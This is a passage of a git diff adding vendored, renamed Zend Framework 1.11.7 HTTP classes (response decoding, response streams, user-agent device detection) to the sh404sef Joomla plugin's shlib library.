(trim($body)) { + if (! preg_match("/^([\da-fA-F]+)[^\r\n]*\r\n/sm", $body, $m)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Error parsing body - doesn't seem to be a chunked message"); + } + + $length = hexdec(trim($m[1])); + $cut = strlen($m[0]); + $decBody .= substr($body, $cut, $length); + $body = substr($body, $cut + $length + 2); + } + + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $decBody; + } + + /** + * Decode a gzip encoded message (when Content-encoding = gzip) + * + * Currently requires PHP with zlib support + * + * @param string $body + * @return string + */ + public static function decodeGzip($body) + { + if (! function_exists('gzinflate')) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception( + 'zlib extension is required in order to decode "gzip" encoding' + ); + } + + return gzinflate(substr($body, 10)); + } + + /** + * Decode a zlib deflated message (when Content-encoding = deflate) + * + * Currently requires PHP with zlib support + * + * @param string $body + * @return string + */ + public static function decodeDeflate($body) + { + if (! function_exists('gzuncompress')) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception( + 'zlib extension is required in order to decode "deflate" encoding' + ); + } + + /** + * Some servers (IIS ?) send a broken deflate response, without the + * RFC-required zlib header. + * + * We try to detect the zlib header, and if it does not exsit we + * teat the body is plain DEFLATE content. + * + * This method was adapted from PEAR HTTP_Request2 by (c) Alexey Borzov + * + * @link http://framework.zend.com/issues/browse/ZF-6040 + */ + $zlibHeader = unpack('n', substr($body, 0, 2)); + if ($zlibHeader[1] % 31 == 0) { + return gzuncompress($body); + } else { + return gzinflate($body); + } + } + + /** + * Create a new Zendshl_Http_Response object from a string + * + * @param string $response_str + * @return Zendshl_Http_Response + */ + public static function fromString($response_str) + { + $code = self::extractCode($response_str); + $headers = self::extractHeaders($response_str); + $body = self::extractBody($response_str); + $version = self::extractVersion($response_str); + $message = self::extractMessage($response_str); + + return new Zendshl_Http_Response($code, $headers, $body, $version, $message); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php new file mode 100644 index 00000000..2d748f08 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php @@ -0,0 +1,236 @@ +stream; + } + + /** + * Set the response stream + * + * @param resourse $stream + * @return Zendshl_Http_Response_Stream + */ + public function setStream($stream) + { + $this->stream = $stream; + return $this; + } + + /** + * Get the cleanup trigger + * + * @return boolean + */ + public function getCleanup() { + return $this->_cleanup; + } + + /** + * Set the cleanup trigger + * + * @param bool $cleanup Set cleanup trigger + */ + public function setCleanup($cleanup = true) { + $this->_cleanup = $cleanup; + } + + /** + * Get file name associated with the stream + * + * @return string + */ + public function getStreamName() { + return $this->stream_name; + } + + /** + * Set file name associated with the stream + * + * @param string $stream_name Name to set + * @return Zendshl_Http_Response_Stream + */ + public function setStreamName($stream_name) { + $this->stream_name = $stream_name; + return $this; + } + + + /** + * HTTP response constructor + * + * In most cases, you would use Zendshl_Http_Response::fromString to parse an HTTP + * response string and create a new Zendshl_Http_Response object. + * + * NOTE: The constructor no longer accepts nulls or empty values for the code and + * headers and will throw an exception if the passed values do not form a valid HTTP + * responses. + * + * If no message is passed, the message will be guessed according to the response code. + * + * @param int $code Response code (200, 404, ...) + * @param array $headers Headers array + * @param string $body Response body + * @param string $version HTTP version + * @param string $message Response code as text + * @throws Zendshl_Http_Exception + */ + public function __construct($code, $headers, $body = null, $version = '1.1', $message = null) + { + + if(is_resource($body)) { + $this->setStream($body); + $body = ''; + } + parent::__construct($code, $headers, $body, $version, $message); + } + + /** + * Create a new Zendshl_Http_Response_Stream object from a string + * + * @param string $response_str + * @param resource $stream + * @return Zendshl_Http_Response_Stream + */ + public static function fromStream($response_str, $stream) + { + $code = self::extractCode($response_str); + $headers = self::extractHeaders($response_str); + $version = self::extractVersion($response_str); + $message = self::extractMessage($response_str); + + return new self($code, $headers, $stream, $version, $message); + } + + /** + * Get the response body as string + * + * This method returns the body of the HTTP response (the content), as it + * should be in it's readable version - that is, after decoding it (if it + * was decoded), deflating it (if it was gzip compressed), etc. + * + * If you want to get the raw body (as transfered on wire) use + * $this->getRawBody() instead. + * + * @return string + */ + public function getBody() + { + if($this->stream != null) { + $this->readStream(); + } + return parent::getBody(); + } + + /** + * Get the raw response body (as transfered "on wire") as string + * + * If the body is encoded (with Transfer-Encoding, not content-encoding - + * IE "chunked" body), gzip compressed, etc. it will not be decoded. + * + * @return string + */ + public function getRawBody() + { + if($this->stream) { + $this->readStream(); + } + return $this->body; + } + + /** + * Read stream content and return it as string + * + * Function reads the remainder of the body from the stream and closes the stream. + * + * @return string + */ + protected function readStream() + { + if(!is_resource($this->stream)) { + return ''; + } + + if(isset($headers['content-length'])) { + $this->body = stream_get_contents($this->stream, $headers['content-length']); + } else { + $this->body = stream_get_contents($this->stream); + } + fclose($this->stream); + $this->stream = null; + } + + public function __destruct() + { + if(is_resource($this->stream)) { + fclose($this->stream); + $this->stream = null; + } + if($this->_cleanup) { + @unlink($this->stream_name); + } + } + +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php new file mode 100644 index 00000000..745f36be --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php @@ -0,0 +1,854 @@ + self::DEFAULT_IDENTIFICATION_SEQUENCE, + 'storage' => array( + 'adapter' => self::DEFAULT_PERSISTENT_STORAGE_ADAPTER, + ), + ); + + /** + * Identified device + * + * @var Zendshl_Http_UserAgent_Device + */ + protected $_device; + + /** + * Whether or not this instance is immutable. + * + * If true, none of the following may be modified: + * - $_server + * - $_browserType + * - User-Agent (defined in $_server) + * - HTTP Accept value (defined in $_server) + * - $_storage + * + * @var bool + */ + protected $_immutable = false; + + /** + * Plugin loaders + * @var array + */ + protected $_loaders = array(); + + /** + * Valid plugin loader types + * @var array + */ + protected $_loaderTypes = array('storage', 'device'); + + /** + * Trace of items matched to identify the browser type + * + * @var array + */ + protected $_matchLog = array(); + + /** + * Server variable + * + * @var array + */ + protected $_server; + + /** + * Persistent storage handler + * + * @var Zendshl_Http_UserAgent_Storage + */ + protected $_storage; + + /** + * Constructor + * + * @param null|array|Zendshl_Config|ArrayAccess $options + * @return void + */ + public function __construct($options = null) + { + if (null !== $options) { + $this->setOptions($options); + } + } + + /** + * Serialized representation of the object + * + * @return string + */ + public function serialize() + { + $device = $this->getDevice(); + $spec = array( + 'browser_type' => $this->_browserType, + 'config' => $this->_config, + 'device_class' => get_class($device), + 'device' => $device->serialize(), + 'user_agent' => $this->getServerValue('http_user_agent'), + 'http_accept' => $this->getServerValue('http_accept'), + ); + return serialize($spec); + } + + /** + * Unserialize a previous representation of the object + * + * @param string $serialized + * @return void + */ + public function unserialize($serialized) + { + $spec = unserialize($serialized); + + $this->setOptions($spec); + + // Determine device class and ensure the class is loaded + $deviceClass = $spec['device_class']; + if (!class_exists($deviceClass)) { + $this->_getUserAgentDevice($this->getBrowserType()); + } + + // Get device specification and instantiate + $deviceSpec = unserialize($spec['device']); + $deviceSpec['_config'] = $this->getConfig(); + $deviceSpec['_server'] = $this->getServer(); + $this->_device = new $deviceClass($deviceSpec); + } + + /** + * Configure instance + * + * @param array|Zendshl_Config|ArrayAccess $options + * @return Zendshl_Http_UserAgent + */ + public function setOptions($options) + { + if ($options instanceof Zendshl_Config) { + $options = $options->toArray(); + } + + if (!is_array($options) + && !$options instanceof ArrayAccess + && !$options instanceof Traversable + ) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid argument; expected array, Zendshl_Config object, or object implementing ArrayAccess and Traversable; received %s', + (is_object($options) ? get_class($options) : gettype($options)) + )); + } + + // Set $_SERVER first + if (isset($options['server'])) { + $this->setServer($options['server']); + unset($options['server']); + } + + // Get plugin loaders sorted + if (isset($options['plugin_loader'])) { + $plConfig = $options['plugin_loader']; + if (is_array($plConfig) || $plConfig instanceof Traversable) { + foreach ($plConfig as $type => $class) { + $this->setPluginLoader($type, $class); + } + } + unset($plConfig, $options['plugin_loader']); + } + + // And then loop through the remaining options + $config = array(); + foreach ($options as $key => $value) { + switch (strtolower($key)) { + case 'browser_type': + $this->setBrowserType($value); + break; + case 'http_accept': + $this->setHttpAccept($value); + break; + case 'user_agent': + $this->setUserAgent($value); + break; + default: + // Cache remaining options for $_config + $config[$key] = $value; + break; + } + } + $this->setConfig($config); + + return $this; + } + + /** + * Comparison of the UserAgent chain and browser signatures. + * + * The comparison is case-insensitive : the browser signatures must be in lower + * case + * + * @param string $deviceClass Name of class against which a match will be attempted + * @return bool + */ + protected function _match($deviceClass) + { + // Validate device class + $r = new ReflectionClass($deviceClass); + if (!$r->implementsInterface('Zendshl_Http_UserAgent_Device')) { + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid device class provided ("%s"); must implement Zendshl_Http_UserAgent_Device', + $deviceClass + )); + } + + $userAgent = $this->getUserAgent(); + + // Call match method on device class + return call_user_func( + array($deviceClass, 'match'), + $userAgent, + $this->getServer() + ); + } + + /** + * Loads class for a user agent device + * + * @param string $browserType Browser type + * @return string + * @throws Zendshl_Loader_PluginLoader_Exception if unable to load UA device + */ + protected function _getUserAgentDevice($browserType) + { + $browserType = strtolower($browserType); + if (isset($this->_browserTypeClass[$browserType])) { + return $this->_browserTypeClass[$browserType]; + } + + if (isset($this->_config[$browserType]) + && isset($this->_config[$browserType]['device']) + ) { + $deviceConfig = $this->_config[$browserType]['device']; + if (is_array($deviceConfig) && isset($deviceConfig['classname'])) { + $device = (string) $deviceConfig['classname']; + if (!class_exists($device)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid classname "%s" provided in device configuration for browser type "%s"', + $device, + $browserType + )); + } + } elseif (is_array($deviceConfig) && isset($deviceConfig['path'])) { + $loader = $this->getPluginLoader('device'); + $path = $deviceConfig['path']; + $prefix = isset($deviceConfig['prefix']) ? $deviceConfig['prefix'] : 'Zendshl_Http_UserAgent'; + $loader->addPrefixPath($prefix, $path); + + $device = $loader->load($browserType); + } else { + $loader = $this->getPluginLoader('device'); + $device = $loader->load($browserType); + } + } else { + $loader = $this->getPluginLoader('device'); + $device = $loader->load($browserType); + } + + $this->_browserTypeClass[$browserType] = $device; + + return $device; + } + + /** + * Returns the User Agent value + * + * If $userAgent param is null, the value of $_server['HTTP_USER_AGENT'] is + * returned. + * + * @return string + */ + public function getUserAgent() + { + if (null === ($ua = $this->getServerValue('http_user_agent'))) { + $ua = self::DEFAULT_HTTP_USER_AGENT; + $this->setUserAgent($ua); + } + + return $ua; + } + + /** + * Force or replace the UA chain in $_server variable + * + * @param string $userAgent Forced UserAgent chain + * @return Zendshl_Http_UserAgent + */ + public function setUserAgent($userAgent) + { + $this->setServerValue('http_user_agent', $userAgent); + return $this; + } + + /** + * Returns the HTTP Accept server param + * + * @param string $httpAccept (option) forced HTTP Accept chain + * @return string + */ + public function getHttpAccept($httpAccept = null) + { + if (null === ($accept = $this->getServerValue('http_accept'))) { + $accept = self::DEFAULT_HTTP_ACCEPT; + $this->setHttpAccept($accept); + } + return $accept; + } + + /** + * Force or replace the HTTP_ACCEPT chain in self::$_server variable + * + * @param string $httpAccept Forced HTTP Accept chain + * @return Zendshl_Http_UserAgent + */ + public function setHttpAccept($httpAccept) + { + $this->setServerValue('http_accept', $httpAccept); + return $this; + } + + /** + * Returns the persistent storage handler + * + * Session storage is used by default unless a different storage adapter + * has been set via the "persistent_storage_adapter" key. That key should + * contain either a fully qualified class name, or a short name that + * resolves via the plugin loader. + * + * @param string $browser Browser identifier (User Agent chain) + * @return Zendshl_Http_UserAgent_Storage + */ + public function getStorage($browser = null) + { + if (null === $browser) { + $browser = $this->getUserAgent(); + } + if (null === $this->_storage) { + $config = $this->_config['storage']; + $adapter = $config['adapter']; + if (!class_exists($adapter)) { + $loader = $this->getPluginLoader('storage'); + $adapter = $loader->load($adapter); + $loader = $this->getPluginLoader('storage'); + } + $options = array('browser_type' => $browser); + if (isset($config['options'])) { + $options = array_merge($options, $config['options']); + } + $this->setStorage(new $adapter($options)); + } + return $this->_storage; + } + + /** + * Sets the persistent storage handler + * + * @param Zendshl_Http_UserAgent_Storage $storage + * @return Zendshl_Http_UserAgent + */ + public function setStorage(Zendshl_Http_UserAgent_Storage $storage) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the storage object is now immutable' + ); + } + + $this->_storage = $storage; + return $this; + } + + /** + * Clean the persistent storage + * + * @param string $browser Browser identifier (User Agent chain) + * @return void + */ + public function clearStorage($browser = null) + { + $this->getStorage($browser)->clear(); + } + + /** + * Get user configuration + * + * @return array + */ + public function getConfig() + { + return $this->_config; + } + + /** + * Config parameters is an Array or a Zendshl_Config object + * + * The allowed parameters are : + * - the identification sequence (can be empty) => desktop browser type is the + * default browser type returned + * $config['identification_sequence'] : ',' separated browser types + * - the persistent storage adapter + * $config['persistent_storage_adapter'] = "Session" or "NonPersistent" + * - to add or replace a browser type device + * $config[(type)]['device']['path'] + * $config[(type)]['device']['classname'] + * - to add or replace a browser type features adapter + * $config[(type)]['features']['path'] + * $config[(type)]['features']['classname'] + * + * @param mixed $config (option) Config array + * @return Zendshl_Http_UserAgent + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + } + + // Verify that Config parameters are in an array. + if (!is_array($config) && !$config instanceof Traversable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Config parameters must be in an array or a Traversable object; received "%s"', + (is_object($config) ? get_class($config) : gettype($config)) + )); + } + + if ($config instanceof Traversable) { + $tmp = array(); + foreach ($config as $key => $value) { + $tmp[$key] = $value; + } + $config = $tmp; + unset($tmp); + } + + $this->_config = array_merge($this->_config, $config); + return $this; + } + + /** + * Returns the device object + * + * This is the object that will contain the various discovered device + * capabilities. + * + * @return Zendshl_Http_UserAgent_Device $device + */ + public function getDevice() + { + if (null !== $this->_device) { + return $this->_device; + } + + $userAgent = $this->getUserAgent(); + + // search an existing identification in the session + $storage = $this->getStorage($userAgent); + + if (!$storage->isEmpty()) { + // If the user agent and features are already existing, the + // Zendshl_Http_UserAgent object is serialized in the session + $object = $storage->read(); + $this->unserialize($object); + } else { + // Otherwise, the identification is made and stored in the session. + // Find the browser type: + $this->setBrowserType($this->_matchUserAgent()); + $this->_createDevice(); + + // put the result in storage: + $this->getStorage($userAgent) + ->write($this->serialize()); + } + + // Mark the object as immutable + $this->_immutable = true; + + // Return the device instance + return $this->_device; + } + + /** + * Retrieve the browser type + * + * @return string $browserType + */ + public function getBrowserType() + { + return $this->_browserType; + } + + /** + * Set the browser "type" + * + * @param string $browserType + * @return Zendshl_Http_UserAgent + */ + public function setBrowserType($browserType) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the browser type is now immutable' + ); + } + + $this->_browserType = $browserType; + return $this; + } + + /** + * Retrieve the "$_SERVER" array + * + * Basically, the $_SERVER array or an equivalent container storing the + * data that will be introspected. + * + * If the value has not been previously set, it sets itself from the + * $_SERVER superglobal. + * + * @return array + */ + public function getServer() + { + if (null === $this->_server) { + $this->setServer($_SERVER); + } + return $this->_server; + } + + /** + * Set the "$_SERVER" array + * + * Basically, the $_SERVER array or an equivalent container storing the + * data that will be introspected. + * + * @param array|ArrayAccess $server + * @return void + * @throws Zendshl_Http_UserAgent_Exception on invalid parameter + */ + public function setServer($server) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the server array is now immutable' + ); + } + + if (!is_array($server) && !$server instanceof Traversable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected an array or object implementing Traversable; received %s', + (is_object($server) ? get_class($server) : gettype($server)) + )); + } + + // Get an array if we don't have one + if ($server instanceof ArrayObject) { + $server = $server->getArrayCopy(); + } elseif ($server instanceof Traversable) { + $tmp = array(); + foreach ($server as $key => $value) { + $tmp[$key] = $value; + } + $server = $tmp; + unset($tmp); + } + + // Normalize key case + $server = array_change_key_case($server, CASE_LOWER); + + $this->_server = $server; + return $this; + } + + /** + * Retrieve a server value + * + * @param string $key + * @return mixed + */ + public function getServerValue($key) + { + $key = strtolower($key); + $server = $this->getServer(); + $return = null; + if (isset($server[$key])) { + $return = $server[$key]; + } + unset($server); + return $return; + } + + /** + * Set a server value + * + * @param string|int|float $key + * @param mixed $value + * @return void + */ + public function setServerValue($key, $value) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the server array is now immutable' + ); + } + + $server = $this->getServer(); // ensure it's been initialized + $key = strtolower($key); + $this->_server[$key] = $value; + return $this; + } + + /** + * Set plugin loader + * + * @param string $type Type of plugin loader; one of 'storage', (?) + * @param string|Zendshl_Loader_PluginLoader $loader + * @return Zendshl_Http_UserAgent + */ + public function setPluginLoader($type, $loader) + { + $type = $this->_validateLoaderType($type); + + if (is_string($loader)) { + if (!class_exists($loader)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader.php'; + Zendshl_Loader::loadClass($loader); + } + $loader = new $loader(); + } elseif (!is_object($loader)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected a plugin loader class or object; received %s', + gettype($loader) + )); + } + if (!$loader instanceof Zendshl_Loader_PluginLoader) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected an object extending Zendshl_Loader_PluginLoader; received %s', + get_class($loader) + )); + } + + $basePrefix = 'Zendshl_Http_UserAgent_'; + $basePath = 'Zend/Http/UserAgent/'; + switch ($type) { + case 'storage': + $prefix = $basePrefix . 'Storage'; + $path = $basePath . 'Storage'; + break; + case 'device': + $prefix = $basePrefix; + $path = $basePath; + break; + } + $loader->addPrefixPath($prefix, $path); + $this->_loaders[$type] = $loader; + return $this; + } + + /** + * Get a plugin loader + * + * @param string $type A valid plugin loader type; see {@link $_loaderTypes} + * @return Zendshl_Loader_PluginLoader + */ + public function getPluginLoader($type) + { + $type = $this->_validateLoaderType($type); + if (!isset($this->_loaders[$type])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader.php'; + $this->setPluginLoader($type, new Zendshl_Loader_PluginLoader()); + } + return $this->_loaders[$type]; + } + + /** + * Validate a plugin loader type + * + * Verifies that it is in {@link $_loaderTypes}, and returns a normalized + * version of the type. + * + * @param string $type + * @return string + * @throws Zendshl_Http_UserAgent_Exception on invalid type + */ + protected function _validateLoaderType($type) + { + $type = strtolower($type); + if (!in_array($type, $this->_loaderTypes)) { + $types = implode(', ', $this->_loaderTypes); + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected one of "%s" for plugin loader type; received "%s"', + $types, + (string) $type + )); + } + return $type; + } + + /** + * Run the identification sequence to match the right browser type according to the + * user agent + * + * @return Zendshl_Http_UserAgent_Result + */ + protected function _matchUserAgent() + { + $type = self::DEFAULT_BROWSER_TYPE; + + // If we have no identification sequence, just return the default type + if (empty($this->_config['identification_sequence'])) { + return $type; + } + + // Get sequence against which to match + $sequence = explode(',', $this->_config['identification_sequence']); + + // If a browser type is already configured, push that to the front of the list + if (null !== ($browserType = $this->getBrowserType())) { + array_unshift($sequence, $browserType); + } + + // Append the default browser type to the list if not alread in the list + if (!in_array($type, $sequence)) { + $sequence[] = $type; + } + + // Test each type until we find a match + foreach ($sequence as $browserType) { + $browserType = trim($browserType); + $className = $this->_getUserAgentDevice($browserType); + + // Attempt to match this device class + if ($this->_match($className)) { + $type = $browserType; + $this->_browserTypeClass[$type] = $className; + break; + } + } + + return $type; + } + + /** + * Creates device object instance + * + * @return void + */ + protected function _createDevice() + { + $browserType = $this->getBrowserType(); + $classname = $this->_getUserAgentDevice($browserType); + $this->_device = new $classname($this->getUserAgent(), $this->getServer(), $this->getConfig()); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php new file mode 100644 index 00000000..f735c9ea --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php @@ -0,0 +1,977 @@ +_restoreFromArray($userAgent); + } else { + // Constructing new object + $this->setUserAgent($userAgent); + $this->_server = $server; + $this->_config = $config; + $this->_getDefaultFeatures(); + $this->_defineFeatures(); + } + } + + /** + * Serialize object + * + * @return string + */ + public function serialize() + { + $spec = array( + '_aFeatures' => $this->_aFeatures, + '_aGroup' => $this->_aGroup, + '_browser' => $this->_browser, + '_browserVersion' => $this->_browserVersion, + '_userAgent' => $this->_userAgent, + '_images' => $this->_images, + ); + return serialize($spec); + } + + /** + * Unserialize + * + * @param string $serialized + * @return void + */ + public function unserialize($serialized) + { + $spec = unserialize($serialized); + $this->_restoreFromArray($spec); + } + + /** + * Restore object state from array + * + * @param array $spec + * @return void + */ + protected function _restoreFromArray(array $spec) + { + foreach ($spec as $key => $value) { + if (property_exists($this, $key)) { + $this->{$key} = $value; + } + } + } + + /** + * Look for features + * + * @return array|null + */ + protected function _defineFeatures() + { + $features = $this->_loadFeaturesAdapter(); + + if (is_array($features)) { + $this->_aFeatures = array_merge($this->_aFeatures, $features); + } + + return $this->_aFeatures; + } + + /** + * Gets the browser type identifier + * + * @return string + */ + abstract public function getType(); + + /** + * Check a feature for the current browser/device. + * + * @param string $feature The feature to check. + * @return bool + */ + public function hasFeature($feature) + { + return (!empty($this->_aFeatures[$feature])); + } + + /** + * Gets the value of the current browser/device feature + * + * @param string $feature Feature to search + * @return string|null + */ + public function getFeature($feature) + { + if ($this->hasFeature($feature)) { + return $this->_aFeatures[$feature]; + } + } + + /** + * Set a feature for the current browser/device. + * + * @param string $feature The feature to set. + * @param string $value (option) feature value. + * @param string $group (option) Group to associate with the feature + * @return Zendshl_Http_UserAgent_AbstractDevice + */ + public function setFeature($feature, $value = false, $group = '') + { + $this->_aFeatures[$feature] = $value; + if (!empty($group)) { + $this->setGroup($group, $feature); + } + return $this; + } + + /** + * Affects a feature to a group + * + * @param string $group Group name + * @param string $feature Feature name + * @return Zendshl_Http_UserAgent_AbstractDevice + */ + public function setGroup($group, $feature) + { + if (!isset($this->_aGroup[$group])) { + $this->_aGroup[$group] = array(); + } + if (!in_array($feature, $this->_aGroup[$group])) { + $this->_aGroup[$group][] = $feature; + } + return $this; + } + + /** + * Gets an array of features associated to a group + * + * @param string $group Group param + * @return array + */ + public function getGroup($group) + { + return $this->_aGroup[$group]; + } + + /** + * Gets all the browser/device features + * + * @return array + */ + public function getAllFeatures() + { + return $this->_aFeatures; + } + + /** + * Gets all the browser/device features' groups + * + * @return array + */ + public function getAllGroups() + { + return $this->_aGroup; + } + + /** + * Sets all the standard features extracted from the User Agent chain and $this->_server + * vars + * + * @return void + */ + protected function _getDefaultFeatures() + { + $server = array(); + + // gets info from user agent chain + $uaExtract = $this->extractFromUserAgent($this->getUserAgent()); + + if (is_array($uaExtract)) { + foreach ($uaExtract as $key => $info) { + $this->setFeature($key, $info, 'product_info'); + } + } + + if (isset($uaExtract['browser_name'])) { + $this->_browser = $uaExtract['browser_name']; + } + if (isset($uaExtract['browser_version'])) { + $this->_browserVersion = $uaExtract['browser_version']; + } + if (isset($uaExtract['device_os'])) { + $this->device_os = $uaExtract['device_os_name']; + } + + /* browser & device info */ + $this->setFeature('is_wireless_device', false, 'product_info'); + $this->setFeature('is_mobile', false, 'product_info'); + $this->setFeature('is_desktop', false, 'product_info'); + $this->setFeature('is_tablet', false, 'product_info'); + $this->setFeature('is_bot', false, 'product_info'); + $this->setFeature('is_email', false, 'product_info'); + $this->setFeature('is_text', false, 'product_info'); + $this->setFeature('device_claims_web_support', false, 'product_info'); + + $this->setFeature('is_' . strtolower($this->getType()), true, 'product_info'); + + /* sets the browser name */ + if (isset($this->list) && empty($this->_browser)) { + $lowerUserAgent = strtolower($this->getUserAgent()); + foreach ($this->list as $browser_signature) { + if (strpos($lowerUserAgent, $browser_signature) !== false) { + $this->_browser = strtolower($browser_signature); + $this->setFeature('browser_name', $this->_browser, 'product_info'); + } + } + } + + /* sets the client IP */ + if (isset($this->_server['remote_addr'])) { + $this->setFeature('client_ip', $this->_server['remote_addr'], 'product_info'); + } elseif (isset($this->_server['http_x_forwarded_for'])) { + $this->setFeature('client_ip', $this->_server['http_x_forwarded_for'], 'product_info'); + } elseif (isset($this->_server['http_client_ip'])) { + $this->setFeature('client_ip', $this->_server['http_client_ip'], 'product_info'); + } + + /* sets the server infos */ + if (isset($this->_server['server_software'])) { + if (strpos($this->_server['server_software'], 'Apache') !== false || strpos($this->_server['server_software'], 'LiteSpeed') !== false) { + $server['version'] = 1; + if (strpos($this->_server['server_software'], 'Apache/2') !== false) { + $server['version'] = 2; + } + $server['server'] = 'apache'; + } + + if (strpos($this->_server['server_software'], 'Microsoft-IIS') !== false) { + $server['server'] = 'iis'; + } + + if (strpos($this->_server['server_software'], 'Unix') !== false) { + $server['os'] = 'unix'; + if (isset($_ENV['MACHTYPE'])) { + if (strpos($_ENV['MACHTYPE'], 'linux') !== false) { + $server['os'] = 'linux'; + } + } + } elseif (strpos($this->_server['server_software'], 'Win') !== false) { + $server['os'] = 'windows'; + } + + if (preg_match('/Apache\/([0-9\.]*)/', $this->_server['server_software'], $arr)) { + if ($arr[1]) { + $server['version'] = $arr[1]; + $server['server'] = 'apache'; + } + } + } + + $this->setFeature('php_version', phpversion(), 'server_info'); + if (isset($server['server'])) { + $this->setFeature('server_os', $server['server'], 'server_info'); + } + if (isset($server['version'])) { + $this->setFeature('server_os_version', $server['version'], 'server_info'); + } + if (isset($this->_server['http_accept'])) { + $this->setFeature('server_http_accept', $this->_server['http_accept'], 'server_info'); + } + if (isset($this->_server['http_accept_language'])) { + $this->setFeature('server_http_accept_language', $this->_server['http_accept_language'], 'server_info'); + } + if (isset($this->_server['server_addr'])) { + $this->setFeature('server_ip', $this->_server['server_addr'], 'server_info'); + } + if (isset($this->_server['server_name'])) { + $this->setFeature('server_name', $this->_server['server_name'], 'server_info'); + } + } + + /** + * Extract and sets informations from the User Agent chain + * + * @param string $userAgent User Agent chain + * @return array + */ + public static function extractFromUserAgent($userAgent) + { + $userAgent = trim($userAgent); + + /** + * @see http://www.texsoft.it/index.php?c=software&m=sw.php.useragent&l=it + */ + $pattern = "(([^/\s]*)(/(\S*))?)(\s*\[[a-zA-Z][a-zA-Z]\])?\s*(\\((([^()]|(\\([^()]*\\)))*)\\))?\s*"; + preg_match("#^$pattern#", $userAgent, $match); + + $comment = array(); + if (isset($match[7])) { + $comment = explode(';', $match[7]); + } + + // second part if exists + $end = substr($userAgent, strlen($match[0])); + if (!empty($end)) { + $result['others']['full'] = $end; + } + + $match2 = array(); + if (isset($result['others'])) { + preg_match_all('/(([^\/\s]*)(\/)?([^\/\(\)\s]*)?)(\s\((([^\)]*)*)\))?/i', $result['others']['full'], $match2); + } + $result['user_agent'] = trim($match[1]); + $result['product_name'] = isset($match[2]) ? trim($match[2]) : ''; + $result['browser_name'] = $result['product_name']; + if (isset($match[4]) && trim($match[4])) { + $result['product_version'] = trim($match[4]); + $result['browser_version'] = trim($match[4]); + } + if (count($comment) && !empty($comment[0])) { + $result['comment']['full'] = trim($match[7]); + $result['comment']['detail'] = $comment; + $result['compatibility_flag'] = trim($comment[0]); + if (isset($comment[1])) { + $result['browser_token'] = trim($comment[1]); + } + if (isset($comment[2])) { + $result['device_os_token'] = trim($comment[2]); + } + } + if 